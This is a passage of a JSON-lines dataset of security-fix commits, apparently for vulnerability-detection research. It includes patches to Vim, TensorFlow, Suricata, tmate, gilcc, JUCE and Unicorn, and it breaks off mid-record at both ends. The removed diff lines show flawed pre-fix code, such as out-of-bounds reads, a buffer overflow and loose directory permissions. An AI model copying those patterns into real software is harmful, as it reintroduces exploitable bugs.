\"tensorflow/core/util/saved_tensor_slice_util.h\"\n #include \"tensorflow/core/util/tensor_slice_reader_cache.h\"\n #include \"tensorflow/core/util/tensor_slice_writer.h\"\n@@ -309,6 +314,102 @@ TEST_SIMPLE_INT(int16, int32)\n TEST_SIMPLE_INT(int8, int32)\n TEST_SIMPLE_INT(uint8, int32)\n \n+// Modifies the SavedTensorSlices messages in a checkpoint to allow creating\n+// malformed or unsupported checkpoints.\n+void MutateSavedTensorSlices(\n+ const std::string& fname,\n+ const std::function& mutator) {\n+ table::Options options;\n+ options.compression = table::kNoCompression;\n+\n+ // Read all entres from the table.\n+ std::vector> entries;\n+ {\n+ std::unique_ptr file;\n+ TF_CHECK_OK(Env::Default()->NewRandomAccessFile(fname, &file));\n+ uint64 file_size;\n+ TF_CHECK_OK(Env::Default()->GetFileSize(fname, &file_size));\n+ table::Table* t;\n+ TF_CHECK_OK(table::Table::Open(options, file.get(), file_size, &t));\n+ std::unique_ptr table(t);\n+ std::unique_ptr it(table->NewIterator());\n+ for (it->Seek(\"\"); it->Valid(); it->Next()) {\n+ entries.emplace_back(it->key(), it->value());\n+ }\n+ TF_CHECK_OK(it->status());\n+ }\n+\n+ // Rewrite the table, mutating each value.\n+ {\n+ std::unique_ptr file;\n+ TF_CHECK_OK(Env::Default()->NewWritableFile(fname, &file));\n+ table::TableBuilder builder(options, file.get());\n+ for (const auto& entry : entries) {\n+ SavedTensorSlices sts;\n+ CHECK(sts.ParseFromString(entry.second));\n+ builder.Add(entry.first, mutator(std::move(sts)));\n+ }\n+ TF_CHECK_OK(builder.Finish());\n+ TF_CHECK_OK(file->Close());\n+ }\n+}\n+\n+TEST(TensorSliceReaderTest, MissingTensorType) {\n+ const string fname = io::JoinPath(testing::TmpDir(), \"invalid_checkpoint\");\n+ TensorSliceWriter writer(fname, CreateTableTensorSliceBuilder);\n+ const int32 data[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n+ TensorShape shape({4, 5});\n+ TensorSlice slice = TensorSlice::ParseOrDie(\"0,2:-\");\n+ TF_CHECK_OK(writer.Add(\"test\", shape, slice, data));\n+ TF_CHECK_OK(writer.Finish());\n+\n+ MutateSavedTensorSlices(fname, [](SavedTensorSlices sts) {\n+ if (sts.has_meta()) {\n+ for (auto& tensor : *sts.mutable_meta()->mutable_tensor()) {\n+ tensor.clear_type();\n+ }\n+ }\n+ return sts.SerializeAsString();\n+ });\n+\n+ TensorSliceReader reader(fname, OpenTableTensorSliceReader);\n+ TF_CHECK_OK(reader.status());\n+\n+ // The tensor should be present, but loading it should fail due to the\n+ // unset (invalid) type.\n+ EXPECT_TRUE(reader.HasTensor(\"test\", nullptr, nullptr));\n+ std::unique_ptr tensor;\n+ EXPECT_FALSE(reader.GetTensor(\"test\", &tensor).ok());\n+}\n+\n+TEST(TensorSliceReaderTest, UnsupportedTensorType) {\n+ const string fname = io::JoinPath(testing::TmpDir(), \"int32_ref_checkpoint\");\n+ TensorSliceWriter writer(fname, CreateTableTensorSliceBuilder);\n+ const int32 data[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n+ TensorShape shape({4, 5});\n+ TensorSlice slice = TensorSlice::ParseOrDie(\"0,2:-\");\n+ TF_CHECK_OK(writer.Add(\"test\", shape, slice, data));\n+ TF_CHECK_OK(writer.Finish());\n+\n+ MutateSavedTensorSlices(fname, [](SavedTensorSlices sts) {\n+ if (sts.has_meta()) {\n+ for (auto& tensor : *sts.mutable_meta()->mutable_tensor()) {\n+ tensor.set_type(DT_INT32_REF);\n+ }\n+ }\n+ return sts.SerializeAsString();\n+ });\n+\n+ TensorSliceReader reader(fname, OpenTableTensorSliceReader);\n+ TF_CHECK_OK(reader.status());\n+\n+ // The tensor should be present, but loading it should fail due to the\n+ // unsupported type.\n+ EXPECT_TRUE(reader.HasTensor(\"test\", nullptr, nullptr));\n+ std::unique_ptr tensor;\n+ EXPECT_FALSE(reader.GetTensor(\"test\", &tensor).ok());\n+}\n+\n void CachedTensorSliceReaderTesterHelper(\n const TensorSliceWriter::CreateBuilderFunction& create_function,\n const TensorSliceReader::OpenTableFunction& open_function) {", "sections": [{"section": "@@ -13,15 +13,19 @@ See the License for the specific language governing permissions and\n limitations under the License.\n ==============================================================================*/\n \n-#include \n-\n #include \"tensorflow/core/util/tensor_slice_reader.h\"\n \n+#include \n+#include \n+\n #include \"tensorflow/core/framework/types.h\"\n #include \"tensorflow/core/framework/versions.pb.h\"\n #include \"tensorflow/core/lib/core/status_test_util.h\"\n #include \"tensorflow/core/lib/core/stringpiece.h\"\n+#include \"tensorflow/core/lib/io/iterator.h\"\n #include \"tensorflow/core/lib/io/path.h\"\n+#include \"tensorflow/core/lib/io/table.h\"\n+#include \"tensorflow/core/lib/io/table_builder.h\"\n #include \"tensorflow/core/lib/strings/str_util.h\"\n #include \"tensorflow/core/lib/strings/strcat.h\"\n #include \"tensorflow/core/platform/env.h\"\n", "related": false}, {"section": "@@ -30,6 +34,7 @@ limitations under the License.\n #include \"tensorflow/core/platform/test.h\"\n #include \"tensorflow/core/platform/types.h\"\n #include \"tensorflow/core/public/version.h\"\n+#include \"tensorflow/core/util/saved_tensor_slice.pb.h\"\n #include \"tensorflow/core/util/saved_tensor_slice_util.h\"\n #include \"tensorflow/core/util/tensor_slice_reader_cache.h\"\n #include \"tensorflow/core/util/tensor_slice_writer.h\"\n", "related": false}, {"section": "@@ -309,6 +314,102 @@ TEST_SIMPLE_INT(int16, int32)\n TEST_SIMPLE_INT(int8, int32)\n TEST_SIMPLE_INT(uint8, int32)\n \n+// Modifies the SavedTensorSlices messages in a checkpoint to allow creating\n+// malformed or unsupported checkpoints.\n+void MutateSavedTensorSlices(\n+ const std::string& fname,\n+ const std::function& mutator) {\n+ table::Options options;\n+ options.compression = table::kNoCompression;\n+\n+ // Read all entres from the table.\n+ std::vector> entries;\n+ {\n+ std::unique_ptr file;\n+ TF_CHECK_OK(Env::Default()->NewRandomAccessFile(fname, &file));\n+ uint64 file_size;\n+ TF_CHECK_OK(Env::Default()->GetFileSize(fname, &file_size));\n+ table::Table* t;\n+ TF_CHECK_OK(table::Table::Open(options, file.get(), file_size, &t));\n+ std::unique_ptr table(t);\n+ std::unique_ptr it(table->NewIterator());\n+ for (it->Seek(\"\"); it->Valid(); it->Next()) {\n+ entries.emplace_back(it->key(), it->value());\n+ }\n+ TF_CHECK_OK(it->status());\n+ }\n+\n+ // Rewrite the table, mutating each value.\n+ {\n+ std::unique_ptr file;\n+ TF_CHECK_OK(Env::Default()->NewWritableFile(fname, &file));\n+ table::TableBuilder builder(options, file.get());\n+ for (const auto& entry : entries) {\n+ SavedTensorSlices sts;\n+ CHECK(sts.ParseFromString(entry.second));\n+ builder.Add(entry.first, mutator(std::move(sts)));\n+ }\n+ TF_CHECK_OK(builder.Finish());\n+ TF_CHECK_OK(file->Close());\n+ }\n+}\n+\n+TEST(TensorSliceReaderTest, MissingTensorType) {\n+ const string fname = io::JoinPath(testing::TmpDir(), \"invalid_checkpoint\");\n+ TensorSliceWriter writer(fname, CreateTableTensorSliceBuilder);\n+ const int32 data[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n+ TensorShape shape({4, 5});\n+ TensorSlice slice = TensorSlice::ParseOrDie(\"0,2:-\");\n+ TF_CHECK_OK(writer.Add(\"test\", shape, slice, data));\n+ TF_CHECK_OK(writer.Finish());\n+\n+ MutateSavedTensorSlices(fname, [](SavedTensorSlices sts) {\n+ if (sts.has_meta()) {\n+ for (auto& tensor : *sts.mutable_meta()->mutable_tensor()) {\n+ tensor.clear_type();\n+ }\n+ }\n+ return sts.SerializeAsString();\n+ });\n+\n+ TensorSliceReader reader(fname, OpenTableTensorSliceReader);\n+ TF_CHECK_OK(reader.status());\n+\n+ // The tensor should be present, but loading it should fail due to the\n+ // unset (invalid) type.\n+ EXPECT_TRUE(reader.HasTensor(\"test\", nullptr, nullptr));\n+ std::unique_ptr tensor;\n+ EXPECT_FALSE(reader.GetTensor(\"test\", &tensor).ok());\n+}\n+\n+TEST(TensorSliceReaderTest, UnsupportedTensorType) {\n+ const string fname = io::JoinPath(testing::TmpDir(), \"int32_ref_checkpoint\");\n+ TensorSliceWriter writer(fname, CreateTableTensorSliceBuilder);\n+ const int32 data[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n+ TensorShape shape({4, 5});\n+ TensorSlice slice = TensorSlice::ParseOrDie(\"0,2:-\");\n+ TF_CHECK_OK(writer.Add(\"test\", shape, slice, data));\n+ TF_CHECK_OK(writer.Finish());\n+\n+ MutateSavedTensorSlices(fname, [](SavedTensorSlices sts) {\n+ if (sts.has_meta()) {\n+ for (auto& tensor : *sts.mutable_meta()->mutable_tensor()) {\n+ tensor.set_type(DT_INT32_REF);\n+ }\n+ }\n+ return sts.SerializeAsString();\n+ });\n+\n+ TensorSliceReader reader(fname, OpenTableTensorSliceReader);\n+ TF_CHECK_OK(reader.status());\n+\n+ // The tensor should be present, but loading it should fail due to the\n+ // unsupported type.\n+ EXPECT_TRUE(reader.HasTensor(\"test\", nullptr, nullptr));\n+ std::unique_ptr tensor;\n+ EXPECT_FALSE(reader.GetTensor(\"test\", &tensor).ok());\n+}\n+\n void CachedTensorSliceReaderTesterHelper(\n const TensorSliceWriter::CreateBuilderFunction& create_function,\n const TensorSliceReader::OpenTableFunction& open_function) {", "related": false}]} +{"owner": "trgil", "repo": "gilcc", "language": "C", "file_name": "src/src_parser.c", "commit_id": "803969389ca9c06237075a7f8eeb1a19e6651759", "commit_message": "Fix parser tmp-buffer overflow issue", "patch": "@@ -171,7 +171,7 @@ static int src_parser_trans_stage_1_2_3(const int tmp_fd, const char *src, const\n (PBUF_TMP_PREV_CHAR(pbuf) == ' ' || PBUF_TMP_PREV_CHAR(pbuf) == '\\t' ||\n PBUF_TMP_PREV_CHAR(pbuf) == '\\n')) {\n pbuf.f_indx++;\n- } else if (pbuf.tmp_indx && \n+ } else if (pbuf.tmp_indx &&\n (PBUF_TMP_PREV_CHAR(pbuf) == '\\\\')) {\n pbuf.tmp_indx--;\n pbuf.f_indx++;\n@@ -182,10 +182,12 @@ static int src_parser_trans_stage_1_2_3(const int tmp_fd, const char *src, const\n continue;\n \n case '\\\\':\n+ p_buf_write_tmp(&pbuf, tmp_fd);\n p_buf_push_tmp_char(&pbuf, '\\\\');\n continue;\n \n case '/':\n+ p_buf_write_tmp(&pbuf, tmp_fd);\n p_buf_push_tmp_char(&pbuf, '/');\n continue;\n ", "sections": [{"section": "@@ -171,7 +171,7 @@ static int src_parser_trans_stage_1_2_3(const int tmp_fd, const char *src, const\n (PBUF_TMP_PREV_CHAR(pbuf) == ' ' || PBUF_TMP_PREV_CHAR(pbuf) == '\\t' ||\n PBUF_TMP_PREV_CHAR(pbuf) == '\\n')) {\n pbuf.f_indx++;\n- } else if (pbuf.tmp_indx && \n+ } else if (pbuf.tmp_indx &&\n (PBUF_TMP_PREV_CHAR(pbuf) == '\\\\')) {\n pbuf.tmp_indx--;\n pbuf.f_indx++;\n", "related": false}, {"section": "@@ -182,10 +182,12 @@ static int src_parser_trans_stage_1_2_3(const int tmp_fd, const char *src, const\n continue;\n \n case '\\\\':\n+ p_buf_write_tmp(&pbuf, tmp_fd);\n p_buf_push_tmp_char(&pbuf, '\\\\');\n continue;\n \n case '/':\n+ p_buf_write_tmp(&pbuf, tmp_fd);\n p_buf_push_tmp_char(&pbuf, '/');\n continue;\n ", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/charset.c", "commit_id": "94f3192b03ed27474db80b4d3a409e107140738b", "commit_message": "patch 8.2.3950: going beyond the end of the line with /\\%V\n\nProblem: Going beyond the end of the line with /\\%V.\nSolution: Check for valid column in getvcol().", "patch": "@@ -1240,10 +1240,15 @@ getvcol(\n \tposptr = NULL; // continue until the NUL\n else\n {\n-\t// Special check for an empty line, which can happen on exit, when\n-\t// ml_get_buf() always returns an empty string.\n-\tif (*ptr == NUL)\n-\t pos->col = 0;\n+\tcolnr_T i;\n+\n+\t// In a few cases the position can be beyond the end of the line.\n+\tfor (i = 0; i < pos->col; ++i)\n+\t if (ptr[i] == NUL)\n+\t {\n+\t\tpos->col = i;\n+\t\tbreak;\n+\t }\n \tposptr = ptr + pos->col;\n \tif (has_mbyte)\n \t // always start on the first byte", "sections": [{"section": "@@ -1240,10 +1240,15 @@ getvcol(\n \tposptr = NULL; // continue until the NUL\n else\n {\n-\t// Special check for an empty line, which can happen on exit, when\n-\t// ml_get_buf() always returns an empty string.\n-\tif (*ptr == NUL)\n-\t pos->col = 0;\n+\tcolnr_T i;\n+\n+\t// In a few cases the position can be beyond the end of the line.\n+\tfor (i = 0; i < pos->col; ++i)\n+\t if (ptr[i] == NUL)\n+\t {\n+\t\tpos->col = i;\n+\t\tbreak;\n+\t }\n \tposptr = ptr + pos->col;\n \tif (has_mbyte)\n \t // always start on the first byte", "related": false}]} +{"owner": "unicorn-engine", "repo": "unicorn", "language": "C", "file_name": "qemu/accel/tcg/translate-all.c", "commit_id": "c733bbada356b0373fa8aa72c044574bb855fd24", "commit_message": "Fix wrong offset used in split_region", "patch": "@@ -985,7 +985,9 @@ static void uc_invalidate_tb(struct uc_struct *uc, uint64_t start_addr, size_t l\n {\n tb_page_addr_t start, end;\n \n- // GVA to GPA (GPA -> HVA via page_find, HVA->HPA via host mmu)\n+ // GVA to GPA \n+ // (GPA -> HVA via memory_region_get_ram_addr(mr) + GPA + block->host,\n+ // HVA->HPA via host mmu)\n start = get_page_addr_code(uc->cpu->env_ptr, start_addr) & (target_ulong)(-1);\n \n // For 32bit target.", "sections": [{"section": "@@ -985,7 +985,9 @@ static void uc_invalidate_tb(struct uc_struct *uc, uint64_t start_addr, size_t l\n {\n tb_page_addr_t start, end;\n \n- // GVA to GPA (GPA -> HVA via page_find, HVA->HPA via host mmu)\n+ // GVA to GPA \n+ // (GPA -> HVA via memory_region_get_ram_addr(mr) + GPA + block->host,\n+ // HVA->HPA via host mmu)\n start = get_page_addr_code(uc->cpu->env_ptr, start_addr) & (target_ulong)(-1);\n \n // For 32bit target.", "related": false}]} +{"owner": "oisf", "repo": "suricata", "language": "C", "file_name": "src/stream-tcp.c", "commit_id": "50e2b973eeec7172991bf8f544ab06fb782b97df", "commit_message": "stream/tcp: handle RST with MD5 or AO header\n\nSpecial handling for RST packets if they have an TCP MD5 or AO header option.\nThe options hash can't be validated. The end host might be able to validate\nit, as it can have a key/password that was communicated out of band.\n\nThe sender could use this to move the TCP state to 'CLOSED', leading to\na desync of the TCP session.\n\nThis patch builds on top of\n843d0b7a10bb (\"stream: support RST getting lost/ignored\")\n\nIt flags the receiver as having received an RST and moves the TCP state\ninto the CLOSED state. It then reverts this if the sender continues to\nsend traffic. In this case it sets the following event:\n\n stream-event:suspected_rst_inject;\n\nBug: #4710.", "patch": "@@ -4433,6 +4433,9 @@ static int StreamTcpPacketStateClosed(ThreadVars *tv, Packet *p,\n if (ostream->flags & STREAMTCP_STREAM_FLAG_RST_RECV) {\n if (StreamTcpStateDispatch(tv, p, stt, ssn, &stt->pseudo_queue, ssn->pstate) < 0)\n return -1;\n+ /* if state is still \"closed\", it wasn't updated by our dispatch. */\n+ if (ssn->state == TCP_CLOSED)\n+ ssn->state = ssn->pstate;\n }\n }\n return 0;\n@@ -5410,7 +5413,6 @@ TmEcode StreamTcpThreadDeinit(ThreadVars *tv, void *data)\n \n static int StreamTcpValidateRst(TcpSession *ssn, Packet *p)\n {\n-\n uint8_t os_policy;\n \n if (ssn->flags & STREAMTCP_FLAG_TIMESTAMP) {\n@@ -5448,6 +5450,21 @@ static int StreamTcpValidateRst(TcpSession *ssn, Packet *p)\n }\n }\n \n+ /* RFC 2385 md5 signature header or RFC 5925 TCP AO headerpresent. Since we can't\n+ * validate these (requires key that is set/transfered out of band), we can't know\n+ * if the RST will be accepted or rejected by the end host. We accept it, but keep\n+ * tracking if the sender of it ignores it, which would be a sign of injection. */\n+ if (p->tcpvars.md5_option_present || p->tcpvars.ao_option_present) {\n+ TcpStream *receiver_stream;\n+ if (PKT_IS_TOSERVER(p)) {\n+ receiver_stream = &ssn->server;\n+ } else {\n+ receiver_stream = &ssn->client;\n+ }\n+ SCLogDebug(\"ssn %p: setting STREAMTCP_STREAM_FLAG_RST_RECV on receiver stream\", ssn);\n+ receiver_stream->flags |= STREAMTCP_STREAM_FLAG_RST_RECV;\n+ }\n+\n if (ssn->flags & STREAMTCP_FLAG_ASYNC) {\n if (PKT_IS_TOSERVER(p)) {\n if (SEQ_GEQ(TCP_GET_SEQ(p), ssn->client.next_seq)) {", "sections": [{"section": "@@ -4433,6 +4433,9 @@ static int StreamTcpPacketStateClosed(ThreadVars *tv, Packet *p,\n if (ostream->flags & STREAMTCP_STREAM_FLAG_RST_RECV) {\n if (StreamTcpStateDispatch(tv, p, stt, ssn, &stt->pseudo_queue, ssn->pstate) < 0)\n return -1;\n+ /* if state is still \"closed\", it wasn't updated by our dispatch. */\n+ if (ssn->state == TCP_CLOSED)\n+ ssn->state = ssn->pstate;\n }\n }\n return 0;\n", "related": false}, {"section": "@@ -5410,7 +5413,6 @@ TmEcode StreamTcpThreadDeinit(ThreadVars *tv, void *data)\n \n static int StreamTcpValidateRst(TcpSession *ssn, Packet *p)\n {\n-\n uint8_t os_policy;\n \n if (ssn->flags & STREAMTCP_FLAG_TIMESTAMP) {\n", "related": false}, {"section": "@@ -5448,6 +5450,21 @@ static int StreamTcpValidateRst(TcpSession *ssn, Packet *p)\n }\n }\n \n+ /* RFC 2385 md5 signature header or RFC 5925 TCP AO headerpresent. Since we can't\n+ * validate these (requires key that is set/transfered out of band), we can't know\n+ * if the RST will be accepted or rejected by the end host. We accept it, but keep\n+ * tracking if the sender of it ignores it, which would be a sign of injection. */\n+ if (p->tcpvars.md5_option_present || p->tcpvars.ao_option_present) {\n+ TcpStream *receiver_stream;\n+ if (PKT_IS_TOSERVER(p)) {\n+ receiver_stream = &ssn->server;\n+ } else {\n+ receiver_stream = &ssn->client;\n+ }\n+ SCLogDebug(\"ssn %p: setting STREAMTCP_STREAM_FLAG_RST_RECV on receiver stream\", ssn);\n+ receiver_stream->flags |= STREAMTCP_STREAM_FLAG_RST_RECV;\n+ }\n+\n if (ssn->flags & STREAMTCP_FLAG_ASYNC) {\n if (PKT_IS_TOSERVER(p)) {\n if (SEQ_GEQ(TCP_GET_SEQ(p), ssn->client.next_seq)) {", "related": false}]} +{"owner": "tmate-io", "repo": "tmate-ssh-server", "language": "C", "file_name": "tmate-main.c", "commit_id": "1c020d1f5ca462f5b150b46a027aaa1bbe3c9596", "commit_message": "Harden /tmp/tmate directory\n\nSuggested by Matthias Gerstner", "patch": "@@ -98,6 +98,24 @@ static void setup_locale(void)\n \ttzset();\n }\n \n+static int check_owned_directory_mode(const char *path, mode_t expected_mode)\n+{\n+\tstruct stat stat;\n+\tif (lstat(path, &stat))\n+\t\treturn -1;\n+\n+\tif (!S_ISDIR(stat.st_mode))\n+\t\treturn -1;\n+\n+\tif (stat.st_uid != getuid())\n+\t\treturn -1;\n+\n+\tif ((stat.st_mode & 07777) != expected_mode)\n+\t\treturn -1;\n+\n+\treturn 0;\n+}\n+\n int main(int argc, char **argv, char **envp)\n {\n \tint opt;\n@@ -151,17 +169,22 @@ int main(int argc, char **argv, char **envp)\n \ttmate_catch_sigsegv();\n \ttmate_init_rand();\n \n-\tif ((mkdir(TMATE_WORKDIR, 0701) < 0 && errno != EEXIST) ||\n-\t (mkdir(TMATE_WORKDIR \"/sessions\", 0703) < 0 && errno != EEXIST) ||\n+\tif ((mkdir(TMATE_WORKDIR, 0700) < 0 && errno != EEXIST) ||\n+\t (mkdir(TMATE_WORKDIR \"/sessions\", 0700) < 0 && errno != EEXIST) ||\n \t (mkdir(TMATE_WORKDIR \"/jail\", 0700) < 0 && errno != EEXIST))\n \t\ttmate_fatal(\"Cannot prepare session in \" TMATE_WORKDIR);\n \n-\t/* The websocket server needs to access the /session dir to rename sockets */\n-\tif ((chmod(TMATE_WORKDIR, 0701) < 0) ||\n-\t (chmod(TMATE_WORKDIR \"/sessions\", 0703) < 0) ||\n+\tif ((chmod(TMATE_WORKDIR, 0700) < 0) ||\n+\t (chmod(TMATE_WORKDIR \"/sessions\", 0700) < 0) ||\n \t (chmod(TMATE_WORKDIR \"/jail\", 0700) < 0))\n \t\ttmate_fatal(\"Cannot prepare session in \" TMATE_WORKDIR);\n \n+\tif (check_owned_directory_mode(TMATE_WORKDIR, 0700) ||\n+\t check_owned_directory_mode(TMATE_WORKDIR \"/sessions\", 0700) ||\n+\t check_owned_directory_mode(TMATE_WORKDIR \"/jail\", 0700))\n+\t\ttmate_fatal(TMATE_WORKDIR \" and subdirectories has incorrect ownership/mode. \"\n+\t\t\t \"Try deleting \" TMATE_WORKDIR \" and try again\");\n+\n \ttmate_ssh_server_main(tmate_session,\n \t\t\t tmate_settings->keys_dir, tmate_settings->bind_addr, tmate_settings->ssh_port);\n \treturn 0;", "sections": [{"section": "@@ -98,6 +98,24 @@ static void setup_locale(void)\n \ttzset();\n }\n \n+static int check_owned_directory_mode(const char *path, mode_t expected_mode)\n+{\n+\tstruct stat stat;\n+\tif (lstat(path, &stat))\n+\t\treturn -1;\n+\n+\tif (!S_ISDIR(stat.st_mode))\n+\t\treturn -1;\n+\n+\tif (stat.st_uid != getuid())\n+\t\treturn -1;\n+\n+\tif ((stat.st_mode & 07777) != expected_mode)\n+\t\treturn -1;\n+\n+\treturn 0;\n+}\n+\n int main(int argc, char **argv, char **envp)\n {\n \tint opt;\n", "related": true}, {"section": "@@ -151,17 +169,22 @@ int main(int argc, char **argv, char **envp)\n \ttmate_catch_sigsegv();\n \ttmate_init_rand();\n \n-\tif ((mkdir(TMATE_WORKDIR, 0701) < 0 && errno != EEXIST) ||\n-\t (mkdir(TMATE_WORKDIR \"/sessions\", 0703) < 0 && errno != EEXIST) ||\n+\tif ((mkdir(TMATE_WORKDIR, 0700) < 0 && errno != EEXIST) ||\n+\t (mkdir(TMATE_WORKDIR \"/sessions\", 0700) < 0 && errno != EEXIST) ||\n \t (mkdir(TMATE_WORKDIR \"/jail\", 0700) < 0 && errno != EEXIST))\n \t\ttmate_fatal(\"Cannot prepare session in \" TMATE_WORKDIR);\n \n-\t/* The websocket server needs to access the /session dir to rename sockets */\n-\tif ((chmod(TMATE_WORKDIR, 0701) < 0) ||\n-\t (chmod(TMATE_WORKDIR \"/sessions\", 0703) < 0) ||\n+\tif ((chmod(TMATE_WORKDIR, 0700) < 0) ||\n+\t (chmod(TMATE_WORKDIR \"/sessions\", 0700) < 0) ||\n \t (chmod(TMATE_WORKDIR \"/jail\", 0700) < 0))\n \t\ttmate_fatal(\"Cannot prepare session in \" TMATE_WORKDIR);\n \n+\tif (check_owned_directory_mode(TMATE_WORKDIR, 0700) ||\n+\t check_owned_directory_mode(TMATE_WORKDIR \"/sessions\", 0700) ||\n+\t check_owned_directory_mode(TMATE_WORKDIR \"/jail\", 0700))\n+\t\ttmate_fatal(TMATE_WORKDIR \" and subdirectories has incorrect ownership/mode. \"\n+\t\t\t \"Try deleting \" TMATE_WORKDIR \" and try again\");\n+\n \ttmate_ssh_server_main(tmate_session,\n \t\t\t tmate_settings->keys_dir, tmate_settings->bind_addr, tmate_settings->ssh_port);\n \treturn 0;", "related": true}]} +{"owner": "juce-framework", "repo": "juce", "language": "C++", "file_name": "modules/juce_core/files/juce_TemporaryFile.cpp", "commit_id": "2e874e80cba0152201aff6a4d0dc407997d10a7f", "commit_message": "ZipFile: Add path checks to uncompressEntry()", "patch": "@@ -105,7 +105,7 @@ bool TemporaryFile::deleteTemporaryFile() const\n // Have a few attempts at deleting the file before giving up..\r\n for (int i = 5; --i >= 0;)\r\n {\r\n- if (temporaryFile.deleteFile())\r\n+ if (temporaryFile.isDirectory() ? temporaryFile.deleteRecursively() : temporaryFile.deleteFile())\r\n return true;\r\n \r\n Thread::sleep (50);\r", "sections": [{"section": "@@ -105,7 +105,7 @@ bool TemporaryFile::deleteTemporaryFile() const\n // Have a few attempts at deleting the file before giving up..\r\n for (int i = 5; --i >= 0;)\r\n {\r\n- if (temporaryFile.deleteFile())\r\n+ if (temporaryFile.isDirectory() ? temporaryFile.deleteRecursively() : temporaryFile.deleteFile())\r\n return true;\r\n \r\n Thread::sleep (50);\r", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/spellsuggest.c", "commit_id": "06f15416bb8d5636200a10776f1752c4d6e49f31", "commit_message": "patch 8.2.4247: stack corruption when looking for spell suggestions\n\nProblem: Stack corruption when looking for spell suggestions.\nSolution: Prevent the depth increased too much. Add a five second time\n limit to finding suggestions.", "patch": "@@ -1205,7 +1205,7 @@ suggest_try_change(suginfo_T *su)\n \n // Check the maximum score, if we go over it we won't try this change.\n #define TRY_DEEPER(su, stack, depth, add) \\\n-\t\t(stack[depth].ts_score + (add) < su->su_maxscore)\n+\t (depth < MAXWLEN && stack[depth].ts_score + (add) < su->su_maxscore)\n \n /*\n * Try finding suggestions by adding/removing/swapping letters.\n@@ -1277,6 +1277,9 @@ suggest_trie_walk(\n char_u\tchangename[MAXWLEN][80];\n #endif\n int\t\tbreakcheckcount = 1000;\n+#ifdef FEAT_RELTIME\n+ proftime_T\ttime_limit;\n+#endif\n int\t\tcompound_ok;\n \n // Go through the whole case-fold tree, try changes at each node.\n@@ -1321,6 +1324,11 @@ suggest_trie_walk(\n \t sp->ts_state = STATE_START;\n \t}\n }\n+#ifdef FEAT_RELTIME\n+ // The loop may take an indefinite amount of time. Break out after five\n+ // sectonds. TODO: add an option for the time limit.\n+ profile_setlimit(5000, &time_limit);\n+#endif\n \n // Loop to find all suggestions. At each round we either:\n // - For the current state try one operation, advance \"ts_curi\",\n@@ -1355,7 +1363,8 @@ suggest_trie_walk(\n \n \t\t// At end of a prefix or at start of prefixtree: check for\n \t\t// following word.\n-\t\tif (byts[arridx] == 0 || n == (int)STATE_NOPREFIX)\n+\t\tif (depth < MAXWLEN\n+\t\t\t && (byts[arridx] == 0 || n == (int)STATE_NOPREFIX))\n \t\t{\n \t\t // Set su->su_badflags to the caps type at this position.\n \t\t // Use the caps type until here for the prefix itself.\n@@ -2649,6 +2658,10 @@ suggest_trie_walk(\n \t {\n \t\tui_breakcheck();\n \t\tbreakcheckcount = 1000;\n+#ifdef FEAT_RELTIME\n+\t\tif (profile_passed_limit(&time_limit))\n+\t\t got_int = TRUE;\n+#endif\n \t }\n \t}\n }", "sections": [{"section": "@@ -1205,7 +1205,7 @@ suggest_try_change(suginfo_T *su)\n \n // Check the maximum score, if we go over it we won't try this change.\n #define TRY_DEEPER(su, stack, depth, add) \\\n-\t\t(stack[depth].ts_score + (add) < su->su_maxscore)\n+\t (depth < MAXWLEN && stack[depth].ts_score + (add) < su->su_maxscore)\n \n /*\n * Try finding suggestions by adding/removing/swapping letters.\n", "related": false}, {"section": "@@ -1277,6 +1277,9 @@ suggest_trie_walk(\n char_u\tchangename[MAXWLEN][80];\n #endif\n int\t\tbreakcheckcount = 1000;\n+#ifdef FEAT_RELTIME\n+ proftime_T\ttime_limit;\n+#endif\n int\t\tcompound_ok;\n \n // Go through the whole case-fold tree, try changes at each node.\n", "related": false}, {"section": "@@ -1321,6 +1324,11 @@ suggest_trie_walk(\n \t sp->ts_state = STATE_START;\n \t}\n }\n+#ifdef FEAT_RELTIME\n+ // The loop may take an indefinite amount of time. Break out after five\n+ // sectonds. TODO: add an option for the time limit.\n+ profile_setlimit(5000, &time_limit);\n+#endif\n \n // Loop to find all suggestions. At each round we either:\n // - For the current state try one operation, advance \"ts_curi\",\n", "related": false}, {"section": "@@ -1355,7 +1363,8 @@ suggest_trie_walk(\n \n \t\t// At end of a prefix or at start of prefixtree: check for\n \t\t// following word.\n-\t\tif (byts[arridx] == 0 || n == (int)STATE_NOPREFIX)\n+\t\tif (depth < MAXWLEN\n+\t\t\t && (byts[arridx] == 0 || n == (int)STATE_NOPREFIX))\n \t\t{\n \t\t // Set su->su_badflags to the caps type at this position.\n \t\t // Use the caps type until here for the prefix itself.\n", "related": false}, {"section": "@@ -2649,6 +2658,10 @@ suggest_trie_walk(\n \t {\n \t\tui_breakcheck();\n \t\tbreakcheckcount = 1000;\n+#ifdef FEAT_RELTIME\n+\t\tif (profile_passed_limit(&time_limit))\n+\t\t got_int = TRUE;\n+#endif\n \t }\n \t}\n }", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/version.c", "commit_id": "8d02ce1ed75d008c34a5c9aaa51b67cbb9d33baa", "commit_message": "patch 8.2.4217: illegal memory access when undo makes Visual area invalid\n\nProblem: Illegal memory access when undo makes Visual area invalid.\nSolution: Correct the Visual area after undo.", "patch": "@@ -750,6 +750,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 4217,\n /**/\n 4216,\n /**/", "sections": [{"section": "@@ -750,6 +750,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 4217,\n /**/\n 4216,\n /**/", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/ops.c", "commit_id": "57df9e8a9f9ae1aafdde9b86b10ad907627a87dc", "commit_message": "patch 8.2.4151: reading beyond the end of a line\n\nProblem: Reading beyond the end of a line.\nSolution: For block insert only use the offset for correcting the length.", "patch": "@@ -529,24 +529,9 @@ block_insert(\n \t}\n \n \tif (has_mbyte && spaces > 0)\n-\t{\n-\t int off;\n+\t // avoid copying part of a multi-byte character\n+\t offset -= (*mb_head_off)(oldp, oldp + offset);\n \n-\t // Avoid starting halfway a multi-byte character.\n-\t if (b_insert)\n-\t 